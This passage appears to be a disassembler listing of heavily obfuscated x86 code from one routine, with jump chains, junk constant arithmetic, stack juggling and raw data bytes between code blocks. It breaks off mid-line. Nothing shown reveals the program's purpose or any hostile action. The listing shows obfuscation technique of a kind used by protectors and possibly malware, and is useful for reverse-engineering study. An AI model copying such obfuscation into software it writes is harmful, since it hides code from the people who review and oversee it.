push [esp+0A6h+var_A2] pop esi pop [esp+0A6h+var_A6] pop esp mov [esp], esi mov esi, 71A252D8h xor esi, 71A252DCh sub ebx, 5ABC173Dh add ebx, esi add ebx, 5ABC173Dh pop esi push edx jmp loc_565010 ; --------------------------------------------------------------------------- loc_55777A: ; CODE XREF: sub_542C3C+12F03j mov [esp+0BEh+var_BE], ebx jmp loc_5542C6 ; --------------------------------------------------------------------------- loc_557782: ; CODE XREF: sub_542C3C+211F6j pop esp push edx mov edx, 2D135953h add ebx, edx pop edx jmp loc_5601A4 ; --------------------------------------------------------------------------- loc_557791: ; CODE XREF: sub_542C3C+16CFFj pop edx xchg ebx, [esp+0B6h+var_B6] pop esp push 2D7Eh jmp loc_559997 ; --------------------------------------------------------------------------- loc_5577A0: ; CODE XREF: sub_542C3C+210CDj pop esp mov [esp+0B2h+var_B2], edi mov edi, 4 add esi, 742373ECh jmp loc_55C7C9 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F59h, 5352665Ch, 27E9BAB3h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_5577C7: ; CODE XREF: sub_542C3C+10DEDj add eax, 548A3477h add eax, edx sub eax, 548A3477h pop edx push [esp+40h+var_40] pop edi add esp, 4 sub esp, 4 mov [esp+40h+var_40], edx jmp loc_558C4C ; --------------------------------------------------------------------------- loc_5577E9: ; CODE XREF: sub_542C3C+253A7j add esp, 4 push ebp push [esp+40h+var_3C] pop ebp pop [esp+40h+var_40] pop esp push ebp jmp loc_567896 ; --------------------------------------------------------------------------- db 33h dd 0BDE9240Ch, 89FFFFFDh, 55B5240Ch, 8904EC83h, 97E9241Ch dd 5000039h, 0EC20806h, 2DF02959h, 499000BBh, 2404875Eh dd 4DEEE9h db 0 ; --------------------------------------------------------------------------- loc_55782D: ; CODE XREF: sub_542C3C+10AECj add ebx, 11715259h jmp loc_566A90 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FFCEA2E9h, 243487FFh, 243C895Ch, 277EBA52h dd 0D789642Bh, 2212E95Ah, 0E9500000h, 8CCAh, 582434FFh dd 0E904C483h, 655Dh, 0AE13E5BDh, 0C4E94D5Ch, 5C000063h dd 89BE5652h, 8165ED70h, 3CC066C6h, 0E9F28911h, 0CD54h dd 59CF8858h, 0FFCC72E9h, 405FFh, 9FE90000h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55789B: ; CODE XREF: sub_542C3C+1AADAj pop edx add ebx, edx pop edx jmp loc_554232 ; --------------------------------------------------------------------------- dd 0E9240433h, 5686h ; --------------------------------------------------------------------------- loc_5578AC: ; CODE XREF: sub_542C3C+1A5C1j mov esi, [esp+50h+var_50] jmp loc_55D46C ; --------------------------------------------------------------------------- dd 2404005Ch, 0BC8EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5578BE: ; CODE XREF: sub_542C3C+14AE5j mov ebx, [esp+9Ah+var_9C+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shl ebx, 4 push eax mov eax, 26941EBCh not eax shr eax, 7 shr eax, 4 push 7B29h mov [esp+0A2h+var_A2], edi jmp loc_5555B9 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E24E900h db 1, 0 ; --------------------------------------------------------------------------- loc_5578FA: ; CODE XREF: sub_542C3C+1A27Ej push edx mov edx, 68D31947h or edx, 0E9F1B3Ch sub edx, 278F6508h xor edx, 5E7AF35Ch or ecx, edx pop edx push ebx mov ebx, 37FC0F5Bh or ebx, 41A05DB3h inc ebx push ebx neg [esp+0AAh+var_AA] pop ebx jmp loc_55E519 ; --------------------------------------------------------------------------- dd 592434FFh, 4C481h, 0DD680000h, 0E900001Eh, 0FFFFEE69h ; --------------------------------------------------------------------------- loc_557940: ; CODE XREF: sub_542C3C+1AA18j add esi, 4 xchg esi, [esp+0A6h+var_A6] jmp loc_55F65C ; --------------------------------------------------------------------------- db 81h dd 883BB5C5h, 5D5855EDh, 1C4DE9h db 0 ; --------------------------------------------------------------------------- loc_557959: ; CODE XREF: sub_542C3C+2183Cj mov [esp+0A6h+var_A6], ecx push 7E536CC4h pop ecx push ebp mov ebp, 4310707Bh jmp loc_55700C ; --------------------------------------------------------------------------- db 31h, 0EBh, 0E9h dd 10FFh ; --------------------------------------------------------------------------- loc_557974: ; CODE XREF: sub_542C3C+1F7EBj pop edi push eax mov eax, esp jmp loc_56240A ; --------------------------------------------------------------------------- db 80h, 0C7h, 0B4h dd 0E913B450h, 468Fh, 0B363A42Dh, 5868597Ah, 8900007Dh dd 2BE2434h, 1000000h, 4875EF0h, 8B665C24h, 0EC83240Ch dd 240C8904h, 4EC81h, 24890000h, 24048124h, 4, 0EFE5E9h dd 51525B00h, 0B551B353h, 0F096E9BFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5579CE: ; CODE XREF: sub_542C3C+192FCj add bl, ch sub bl, 7Ah jmp loc_567C28 ; --------------------------------------------------------------------------- dd 0E3895395h, 4C381h, 0B8500000h, 4, 0E958C329h, 0B241h dd 286EE949h, 4BD0000h, 0E9000000h, 0EB87h, 0FFBB47E9h db 0FFh ; --------------------------------------------------------------------------- loc_557A05: ; CODE XREF: sub_542C3C+1F17Ej push esi sub esp, 4 jmp loc_56200E ; --------------------------------------------------------------------------- dw 0F766h dd 0B36866F9h, 1489666Ch, 9C506624h, 0FFBB2BE9h, 243C33FFh dd 33243C31h, 248B243Ch, 4EC8124h, 89000000h, 6657241Ch dd 565486BFh, 0E904EC83h, 175Bh, 33243C31h, 248B243Ch dd 24043024h, 36C7E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_557A56: ; CODE XREF: sub_542C3C+116A6j mov ecx, [esp+88h+var_88] add esp, 4 sub esp, 4 mov [esp+88h+var_88], edx push edi mov edi, 1BD961C3h or edi, 1A05462Dh not edi sub edi, 7A20B5Eh shr edi, 1 add edi, 9EB15ECh mov edx, edi pop edi dec edx dec edx push eax mov eax, 87D4A3C1h add edx, eax pop eax add ecx, 1AD47779h jmp loc_5586A3 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 4685124h, 0FF000000h, 3EE92434h, 8100001Bh dd 726BE8E6h, 0C4EE815Fh, 895F526Ah, 0EE295EF5h, 2434875Dh dd 241C895Ch, 0FFD2CDE9h, 80D1F6FFh, 506665C1h, 1CB25253h dd 8857EA80h, 0B5515AD7h, 59EC883Ah, 285BFC00h, 805866E1h dd 0E9801CC9h, 0E9C828BEh, 0AA9Bh, 0BA52535Ch, 7E9D6638h dd 0CDFAE955h, 2C8BFFFFh, 0EBB7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B0A: ; CODE XREF: sub_542C3C+11B91j not ebp jmp loc_567345 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0C7h dd 0E95E1167h, 1469h, 79E9F029h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B23: ; CODE XREF: sub_542C3C+2524Cj mov eax, [esp+80h+var_80] add esp, 4 push 0C8Ah mov [esp+80h+var_80], eax jmp loc_562189 ; --------------------------------------------------------------------------- loc_557B36: ; CODE XREF: sub_542C3C+1DDF0j sub eax, 4 xchg eax, [esp+80h+var_80] pop esp mov [esp+7Ch+var_7C], ecx mov cl, 0F8h jmp loc_55BC30 ; --------------------------------------------------------------------------- loc_557B47: ; CODE XREF: sub_542C3C+1DA2Ej mov ebx, 21C566A5h and edx, ebx pop ebx add edx, 0DF3E9F84h sub esi, 1F412EA5h jmp loc_56415E ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 5E95700h, 5FFFFFBAh, 0CDE9D1F7h db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557B77: ; CODE XREF: sub_542C3C+212B2j xor edi, 9204A46Bh mov esi, edi pop edi add esi, 755142FBh add esi, 0DA11F656h xor esi, 555F3848h sub esi, 21D70A77h shr esi, 2 push eax mov eax, 483353FEh xor esi, eax jmp loc_5575B5 ; --------------------------------------------------------------------------- loc_557BA8: ; CODE XREF: sub_542C3C+10CE1j or eax, 2E352983h push esi jmp loc_5661B6 ; --------------------------------------------------------------------------- db 59h dd 0E958C701h, 0FFFFCB56h, 4C381h, 0EB830000h, 241C8704h dd 240C895Ch, 0F068E189h, 89000056h, 4BE2434h, 0E9000000h dd 0E881h ; --------------------------------------------------------------------------- loc_557BE0: ; CODE XREF: sub_542C3C+1E3FCj add ebx, 4 xchg ebx, [esp+4Ch+var_4C] jmp loc_5626F9 ; --------------------------------------------------------------------------- dw 0ED81h dd 6CA9BB2Ch, 6BC9C781h, 0EF017C56h, 6BC9EF81h, 0E95D7C56h dd 0D663h, 74FF505Fh, 0E9580424h, 0FE8Eh, 79B1E95Bh, 0E3800000h dd 80C3FE8Bh, 0D8281CF3h, 4EC835Bh, 54240489h, 40558h dd 12E90000h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C37: ; CODE XREF: sub_542C3C+1B3D5j and edi, 48552D44h neg edi xor edi, 0D522C00Fh jmp loc_562C03 ; --------------------------------------------------------------------------- dw 0BE56h dd 237B790Fh, 0B951DEF7h, 634F703Ch, 0FFDFD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_557C5D: ; CODE XREF: sub_542C3C+1AC81j mov edi, esp jmp loc_5551FD ; --------------------------------------------------------------------------- dd 3D1DF781h, 0DFF7486Bh, 243C8757h, 3C87D7F7h, 0F7815F24h dd 8700BE35h, 315FFA01h, 0EF815AD7h, 0ECEC681Dh, 0BEF1E9h dd 0C4835B00h, 4EC8104h, 0E9000000h, 2E1h, 0E9FD8959h dd 6F6Eh ; --------------------------------------------------------------------------- loc_557CA4: ; CODE XREF: sub_542C3C+1CFCAj mov [esp+4Ch+var_4C], eax jmp loc_5546A5 ; --------------------------------------------------------------------------- loc_557CAC: ; CODE XREF: sub_542C3C+1D589j pop ecx push edi mov edi, 5F684547h jmp loc_5642A5 ; --------------------------------------------------------------------------- dd 8304C483h, 1C8904ECh, 835B5424h, 348904ECh, 3016BE24h dd 0EC830373h, 24348904h, 0F7240C87h, 240C87D1h, 8124348Bh dd 4C4h, 1BC68100h, 1037330h, 24348BF3h, 56E08950h, 6A5AF0BEh dd 30C68139h, 4E5FDE0Dh, 681BEE81h, 0F0019948h, 4055Eh dd 46E90000h, 81FFFFCFh, 87A690C6h, 8BF0316Eh, 0C4812434h dd 4, 52A268h, 240C8900h, 84B5BA52h, 0D9E90F6Dh, 5CFFFFC4h dd 240C8966h, 9AE95266h, 810000CCh, 0A72652C1h, 64E94107h dd 66000020h, 7C66E781h, 74C78166h, 0F83166F8h, 6025E9h dd 4C48100h, 56000000h, 0D05ECBEh, 0E7FE90Ah, 814D0000h dd 0D7E4DF5h, 0E9E9015Dh, 3CADh ; --------------------------------------------------------------------------- loc_557D80: ; CODE XREF: sub_542C3C+22303j push esi mov esi, esp add esi, 4 jmp loc_560938 ; --------------------------------------------------------------------------- loc_557D8E: ; CODE XREF: sub_542C3C+1AC20j mov [esp+50h+var_50], edx push edi mov edi, 494B354Ch mov edx, 0BB1B7551h sub edx, edi pop edi inc edx inc edx shl edx, 3 sub edx, 2FEEB2F7h mov ebx, edx mov edx, [esp+50h+var_50] jmp loc_559FB6 ; --------------------------------------------------------------------------- dd 5A2434FFh, 81E38953h, 4C3h, 4C38300h, 0FFF74AE9h, 34FF5FFFh db 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+54h+var_54] jmp loc_563553 ; --------------------------------------------------------------------------- loc_557DE2: ; CODE XREF: sub_542C3C+1D7B0j pop esp jmp loc_567599 ; --------------------------------------------------------------------------- loc_557DE8: ; CODE XREF: sub_542C3C+1E477j pop ecx add esp, 4 popa popf retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB758h, 2D07E8C1h, 611CE778h, 5401E9h, 98E94A00h dd 8FFFFDFh, 7570E9C5h, 0C2810000h, 2, 8904EC83h, 74FF2414h dd 148B0424h, 0C9E5E924h, 0C9810000h, 19F770BBh, 2C87C981h dd 0BE567639h, 5D5B6C35h, 8107E6C1h, 0E441A9C6h, 5EF129A2h dd 0BF18141h, 8934EB74h, 0D58959CAh, 9635E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_557E56: ; CODE XREF: sub_542C3C+111C7j add esi, 651C01D9h xor esi, 99FAA95Fh jmp loc_5587F9 ; --------------------------------------------------------------------------- db 8Bh dd 0EC832424h, 241C8904h, 4BBh, 0E9DF0100h, 1C9Bh, 31240433h dd 4332404h, 0EFD2E924h, 0C1810000h, 4, 0E904C183h, 6F07h ; --------------------------------------------------------------------------- loc_557E98: ; CODE XREF: sub_542C3C+13AF4j mov eax, 4 add esi, eax pop eax jmp loc_56503A ; --------------------------------------------------------------------------- db 5Fh, 1, 0FEh dd 24148B5Fh, 729F68h, 0DE59E900h, 0EC830000h, 242C8904h dd 42474FFh, 4B30E9h, 0A5C58100h, 29313E64h, 3AE957CDh dd 0E9000107h, 0FFFFB674h, 0B9240C89h, 24F35289h, 0E959CD89h dd 827Fh, 24048B56h, 0C7E95451h, 5C0000E1h, 0A796E954h dd 0F7810000h, 0AB4A2576h, 3CC7EE81h, 0FE014AD0h, 3CC7C681h dd 3C8B4AD0h, 0E3895324h, 4C381h, 0C3810000h, 4, 2474FF53h dd 48F5B04h, 0F3315C24h, 0E92434FFh, 0DDBEh ; --------------------------------------------------------------------------- loc_557F34: ; CODE XREF: sub_542C3C+13876j sub esi, 0FFFFFFFFh push ecx jmp loc_554147 ; --------------------------------------------------------------------------- db 0F6h, 1Ch, 24h dd 0B606E99Ch, 0D089FFFFh, 4E8C15Ah, 53486635h, 0EC66E93Dh dd 0C0090000h, 2270840Fh, 0EC830000h, 24148904h, 37E6855h dd 34890000h, 90E95724h, 0B8000054h, 16017764h, 7D17E9h dd 24048900h, 418CE9h, 4C68100h, 68000000h, 2117h, 68240489h dd 2, 0E9C60158h, 2603h, 0C1E95552h, 29FFFFF8h, 5F08247Ch dd 2434FF5Ah, 4C48358h, 0FFF8D8E9h, 651B68FFh, 84E90000h dd 5D000075h, 5AA5E9h, 1EAC6800h, 0DDE90000h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557FD3: ; CODE XREF: sub_542C3C+17726j push [esp+94h+var_90] pop ebp jmp loc_563D3C ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 289FE9h, 81F92900h, 94593FC1h, 54C18135h, 5F42BB20h dd 240C875Fh, 8324248Bh, 3C8904ECh, 4EC8324h, 0D3E9E951h dd 0C781FFFFh, 4, 5C243C87h, 0A764205h, 58C289B3h, 0E6BAE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558022: ; CODE XREF: sub_542C3C+25540j mov eax, 2E212DC8h jmp loc_5655ED ; --------------------------------------------------------------------------- loc_55802C: ; CODE XREF: sub_542C3C+17754j push eax mov eax, 119A2EF2h neg eax not eax and eax, 20547B70h shl eax, 2 or eax, 62836AE6h sub eax, 16B4BECEh jmp loc_55916E ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 6AC0h, 0E9240C87h, 0FFFFFA94h ; --------------------------------------------------------------------------- loc_558060: ; CODE XREF: sub_542C3C+1814Cj add esp, 4 sub eax, 2CEB3CA3h not eax xor eax, 510B3330h jmp loc_55B56C ; --------------------------------------------------------------------------- dd 2E5C145h, 0FFFB71E9h db 0FFh ; --------------------------------------------------------------------------- loc_55807D: ; CODE XREF: sub_542C3C+18F97j push [esp+94h+var_94] pop edx add esp, 4 push 5BA7h mov [esp+94h+var_94], edi not [esp+94h+var_94] jmp loc_55C255 ; --------------------------------------------------------------------------- loc_558097: ; CODE XREF: sub_542C3C+1302Fj mov edi, 24A85AE5h mov eax, edi pop edi add edx, eax push [esp+40h+var_40] pop eax jmp loc_560D72 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BF243C89h, 6D082975h, 6A83BE56h, 0EEC1638Fh, 0B4E94602h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5580C7: ; CODE XREF: sub_542C3C+1A599j add esi, 4 xchg esi, [esp+40h+var_40] pop esp shl ecx, 4 neg ecx shr ecx, 4 push 4E97h jmp loc_56446F ; --------------------------------------------------------------------------- db 68h dd 6A5Bh, 68241489h, 109Ch, 0E9240489h, 0C855h ; --------------------------------------------------------------------------- loc_5580F8: ; CODE XREF: sub_542C3C+1AD6Bj not esi push ebx mov ebx, 1 sub esi, ebx pop ebx add esi, 0EDE09C2Dh push esi push eax mov eax, 12611EB3h jmp loc_55B70B ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch dd 2C48124h, 30000000h, 0C0B60FC3h, 87048F66h, 0FFB41FE9h dd 4BAFFh, 0D6010000h, 77BD555Ah, 0E968A13Ah, 4AB6h, 64DB68h dd 240C8900h, 0F324E950h, 34FF0000h, 241C8B24h, 0E904C483h dd 9B4Bh, 0D91ABB53h, 0DD31C328h, 5DEB015Bh, 4B52BA52h dd 0D2F75CA7h, 6C1CEA81h, 0D3014712h, 76E95E5Ah db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55817F: ; CODE XREF: sub_542C3C+184A7j xor eax, [esp+48h+var_48] xor [esp+48h+var_48], eax xor eax, [esp+48h+var_48] pop esp push small word ptr [eax] jmp loc_55354C ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0C2680000h, 8900000Ch, 0C3E92414h, 100009Bh, 240C8BCEh dd 47CBE9h, 0B7536600h, 66F930D6h, 83241C8Bh, 0B22C02C4h dd 0ECE9EE2Ch, 810000A2h, 0CB60CDEFh, 0FFC78376h, 9879E9h dd 1C77FF00h, 6658669Dh, 9C240411h, 0FFB36BE9h, 243C8BFFh dd 4C481h, 874F0000h, 9A05E9F9h, 0F2800000h, 15EA80B5h dd 5E9D028h, 81000036h, 4C5h, 4BA5200h, 29000000h, 24148BD5h dd 81E28952h, 4C2h, 0F65BE900h, 34FF0000h, 0C4835924h dd 24143304h, 33241431h, 555C2414h, 5C247FBDh, 0C1D5F77Bh dd 0F58102E5h, 9A500CBh, 0FFFE2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_558245: ; CODE XREF: sub_542C3C+1C019j xor esi, 0DE18C85h push esi sub [esp+4Ah+var_4C+2], 4DA81F73h mov ebp, [esp+4Ah+var_4C+2] add esp, 4 jmp loc_5685BE ; --------------------------------------------------------------------------- dw 8952h dd 0B538E9CAh, 0E950FFFFh, 0BEFAh, 5C243C33h, 31240433h dd 4332404h, 24248B24h, 0FFCDB2E9h, 0C0B60FFFh, 0E98734FFh dd 0FFFFB2C0h, 0A206C6B8h, 0F93E050Dh, 0EB81F25Dh, 46704736h dd 0C381C301h, 46704736h, 0A9E95258h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5582AB: ; CODE XREF: sub_542C3C+12DE8j dec ebx sub ebx, 41B57AFAh add edi, ebx pop ebx xor eax, edi pop edi sub esp, 4 mov [esp+0A2h+var_A2], ebp mov ebp, 20000h and eax, ebp push [esp+0A2h+var_A2] jmp loc_564440 ; --------------------------------------------------------------------------- loc_5582CD: ; CODE XREF: sub_542C3C+18BC3j push 67C9h mov [esp+0AAh+var_AA], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+0AAh+var_AA] xor [esp+0AAh+var_AA], eax jmp loc_564D0A ; --------------------------------------------------------------------------- dd 8B2434FFh, 6FE9240Ch, 29FFFFFFh, 3FC181F9h, 5F095D1Dh dd 8159CD89h, 375CD3EFh, 0E9EF0107h, 9849h, 24048B66h dd 371568h, 24048900h, 0FFF27EE9h, 4EC81FFh, 89000000h dd 0E954243Ch, 204Ch, 2C096850h, 14890000h, 1C8B6824h dd 148B46F2h, 4C48124h, 0F7000000h, 0EA8142D2h, 78AC9FFDh dd 34FFD089h, 0C4835A24h, 4EC8304h, 0B9240C89h, 0E8E90481h dd 0BBE9C801h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55836B: ; CODE XREF: sub_542C3C+1BC8Dj pop esp add eax, 661434F0h sub eax, 19293659h push edi mov edi, 4CF52A6Ah xor edi, 6E2160Bh jmp loc_55AEEC ; --------------------------------------------------------------------------- loc_558387: ; CODE XREF: sub_542C3C+24D55j push ebx mov ebx, 14795B84h jmp loc_5668C0 ; --------------------------------------------------------------------------- dw 0A3B9h dd 811D4D12h, 0F8454EF1h, 42B2E97Ah, 0DA010000h, 0CDEA815Bh dd 1214004h, 0CDC281FAh, 81214004h, 692902EAh, 0FABE5658h dd 2931DF1Ah, 0E95F5EF2h, 0FFFFFA46h, 0BE243489h, 68902AF2h dd 55BEB81h, 76E97BEEh, 0F70000DAh, 4EEC1DEh, 0E84FF681h dd 0F3017A38h, 0BA525A5Eh, 2, 3293E9h, 50CB0100h, 93376068h dd 24048B5Ah, 4C481h, 0BA680000h, 89000020h, 31E9241Ch dd 54FFFFD7h, 4C6815Eh, 0E9000000h, 91DFh, 59CF885Bh, 0E924048Bh dd 4106h, 83243C8Bh, 895104C4h, 4C181E1h, 83000000h, 0D8E904C1h dd 8100007Ah, 0B0FB2EFh, 81DF0159h, 0B0FB2C7h, 54476859h dd 14890000h, 6F62BA24h, 0C7817B95h, 4CDF2B1Eh, 0EF81D729h dd 4CDF2B1Eh, 0FF575B5Ah, 5F042474h, 5C24048Fh, 5D5E9h dd 81DEF700h, 214D1BCEh, 0DBEE8124h, 89FFF3CFh, 0DA015EF3h dd 685685Bh, 34890000h, 4D86E924h, 0EC830000h, 24048904h dd 2BE6E9h, 0B09EE900h, 24D3FFFFh, 95E99C24h, 0E9FFFFB0h dd 0FFFFB090h, 7D4DE981h, 0CD011C95h, 0EC815159h, 4, 0FFB7D5E9h dd 81EB29FFh, 510674C3h, 0C3815D6Dh, 78AC7E86h, 0EB81EB01h dd 78AC7E86h, 2F09C381h, 505D45C9h, 0FFF1C8E9h, 243431FFh dd 0E9243433h, 0FFFFD214h ; --------------------------------------------------------------------------- loc_558500: ; CODE XREF: sub_542C3C+2588Cj push [esp+0AEh+var_AA] push [esp+0B2h+var_B2] pop ebp add esp, 4 pop [esp+0AEh+var_AE] pop esp pop dword ptr [edi+24h] loc_558512: ; CODE XREF: sub_542C3C+214DEj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0A6h+var_A6] jmp loc_55F6FC ; --------------------------------------------------------------------------- aUS db 'Àã',7,'éÁ|',0 dw 8F00h dd 4832404h, 0BDE90424h, 89000098h, 8BF243Ch, 0E9104C5Eh dd 15DEh ; --------------------------------------------------------------------------- loc_558548: ; CODE XREF: sub_542C3C+1443Dj push ebp push eax mov eax, 4A8F5D6Bh push ebx mov ebx, eax mov ebp, ebx pop ebx pop eax add edx, ebp pop ebp jmp loc_55681B ; --------------------------------------------------------------------------- dw 0E581h dd 53F835F3h, 4004CD81h, 0CD810659h, 4A643839h, 3CED8145h dd 834E7D79h, 2C8904ECh, 0BEBE5624h, 8923F856h, 0E9505EF5h dd 0FFFFE1C5h, 21511B9h, 59CA012Eh, 0FFECDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_558599: ; CODE XREF: sub_542C3C+1FE73j push edi mov edi, esp add edi, 4 jmp loc_5635BF ; --------------------------------------------------------------------------- db 51h dd 380A83B9h, 59CB01D9h, 91B85055h, 0E9677E03h, 0D0E6h dd 83242C8Bh, 2C3104C4h, 242C3324h, 0E9242C31h, 7D5Fh dd 0FFF0285Bh, 515A2434h, 0ABE9E189h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5585DF: ; CODE XREF: sub_542C3C+24958j or esi, 6DA818BBh neg esi shl esi, 1 push ecx jmp loc_554661 ; --------------------------------------------------------------------------- db 0FFh dd 5B042474h, 5C24048Fh, 6529E9h, 54555C00h, 4C5815Dh dd 0E9000000h, 0EBB6h, 0E95FFB31h, 0F7AFh, 0F36C380h, 8B66C0B6h dd 34682414h, 8900000Ah, 0E589242Ch, 4EC8150h, 89000000h dd 0EABD242Ch, 0B868EB53h, 0EF3BBB4Fh, 7B157805h, 2DE8010Bh dd 0B7B1578h, 83242C8Bh, 0C66804C4h, 8900001Fh, 0E9E92434h dd 6600001Bh, 68240C8Bh, 524Fh, 0B48EE9h, 2434FF00h, 8B2434FFh dd 89562404h, 8403E9E6h, 0DE310000h, 44B9515Bh, 81CECD9Fh dd 934727EEh, 50CE0141h, 934727B8h, 0AB3DE941h, 0B1BB0000h dd 0C179E73Bh, 81E908E3h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5586A3: ; CODE XREF: sub_542C3C+14E56j add ecx, edx jmp loc_55A47A ; --------------------------------------------------------------------------- loc_5586AA: ; CODE XREF: sub_542C3C+16FBAj mov [esp+88h+var_88], eax push edi mov edi, 1A3C41B9h add [esp+8Ch+var_88], edi pop edi pop edi sub edi, 1A3C41B9h push [esp+84h+var_84] jmp loc_561D44 ; --------------------------------------------------------------------------- loc_5586C7: ; CODE XREF: sub_542C3C+1963Ej sub esi, ebx pop ebx push esi dec [esp+88h+var_88] pop esi add esi, 93FF7A2Fh sub edi, 6B4E1B8Fh sub edi, 4D41749Ah sub edi, esi add edi, 4D41749Ah push edx mov edx, 40CB464Eh jmp loc_56278B ; --------------------------------------------------------------------------- dd 7655F281h, 0EA8102CDh, 31C2F6B0h, 0FFCB8AE9h, 5BDE21FFh dd 206AC681h, 31E9E086h, 0BD0000CAh, 113B278Fh, 4244481h dd 347F3D50h, 0BD12E9h db 0 ; --------------------------------------------------------------------------- loc_558725: ; CODE XREF: sub_542C3C+1A581j xor esi, 205ABB18h add edx, 334566Fh jmp loc_55CF80 ; --------------------------------------------------------------------------- dw 1433h dd 0B70F5C24h, 533B68C8h, 0C890000h, 0AE02E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55874A: ; CODE XREF: sub_542C3C+1C69Cj pop ebx jmp loc_55DE1C ; --------------------------------------------------------------------------- aSJ db ' Þéê†',0 db 0 ; --------------------------------------------------------------------------- loc_558757: ; CODE XREF: sub_542C3C+11811j push edx mov edx, 4 jmp loc_567F2C ; --------------------------------------------------------------------------- dw 5005h dd 6829EB16h, 4918h, 0BF243C89h, 5E6A59AEh, 7553CF81h dd 0F7570C12h, 515F2414h, 5A4799B9h, 0B3E9E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55878A: ; CODE XREF: sub_542C3C+224A9j pop esp xor ebx, [esp+7Ch+var_7C] xor [esp+7Ch+var_7C], ebx xor ebx, [esp+7Ch+var_7C] mov esp, [esp+7Ch+var_7C] sub esi, 0F086F42Ch and eax, esi push [esp+7Ch+var_7C] mov esi, [esp+80h+var_80] add esp, 4 add esp, 4 shr eax, 10h xor eax, ecx jmp loc_5653F4 ; --------------------------------------------------------------------------- loc_5587BB: ; CODE XREF: sub_542C3C+22EA8j sub esp, 4 mov [esp+7Ch+var_7C], ecx mov ecx, ebx push ecx jmp loc_564AA3 ; --------------------------------------------------------------------------- loc_5587CC: ; CODE XREF: sub_542C3C+199F5j add esp, 4 jmp loc_56333B ; --------------------------------------------------------------------------- dd 4B951h, 0CD010000h, 83240C8Bh, 0BE5604C4h, 4, 555EF501h dd 42474FFh, 24048F5Dh, 0CCF7E9h db 0 ; --------------------------------------------------------------------------- loc_5587F9: ; CODE XREF: sub_542C3C+15226j and esi, 381D1991h push ecx mov ecx, 427B0B51h shl ecx, 7 xor ecx, 7A07C4B5h or esi, ecx pop ecx sub esi, 7F837DB1h sub ebx, 69D16289h add ebx, esi push ebp mov ebp, 69D16289h add ebx, ebp pop ebp pop esi add ebx, 4 jmp loc_564918 ; --------------------------------------------------------------------------- dd 7572B951h, 0D9F75116h, 694DE9h db 0 ; --------------------------------------------------------------------------- loc_558841: ; CODE XREF: sub_542C3C+1C9BEj or ebp, 485D07FBh jmp loc_562086 ; --------------------------------------------------------------------------- dd 0B0CEF81h, 0B3E929ACh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558857: ; CODE XREF: sub_542C3C+19311j push 3E42h jmp loc_563E84 ; --------------------------------------------------------------------------- loc_558861: ; CODE XREF: sub_542C3C+19DE9j sub ecx, eax pop eax add ecx, esi push ebp mov ebp, 68432E69h jmp loc_564069 ; --------------------------------------------------------------------------- db 54h, 0E9h, 0Eh db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_558877: ; CODE XREF: sub_542C3C+19E14j mov eax, [esp+68h+var_68] add esp, 4 add esp, 4 sub esp, 4 jmp loc_554609 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 0DE70E904h, 8145FFFFh, 4ECh, 240C8900h dd 24E9E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5588AA: ; CODE XREF: sub_542C3C+11C8Fj sub esp, 4 mov [esp+88h+var_88], esp add [esp+88h+var_88], 4 jmp loc_5574D2 ; --------------------------------------------------------------------------- db 0F6h aHQ db 'Óh¿Q',0 align 2 dw 489h dd 801FB424h, 0E32852C3h, 5852EB80h, 6885C380h, 43A5h dd 88241489h, 0F58851DEh, 5A59E888h, 5B2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8Ch+var_8C] pop esp mov bl, al push [esp+88h+var_88] jmp loc_5564B7 ; --------------------------------------------------------------------------- dw 34FFh dd 9EE95A24h, 5E000010h, 5C241487h, 24048F54h, 4240483h dd 0BFAAE9h, 0C0F2B300h, 0B45007E3h, 8E4C08Fh, 0FFB6C4E9h dd 81D6F7FFh, 0BA0C7FCEh, 81D6F76Ch, 4927EDC6h, 0D0EE817Dh dd 290F8533h, 0F1815EF1h, 91C80791h, 0C8BCB09h, 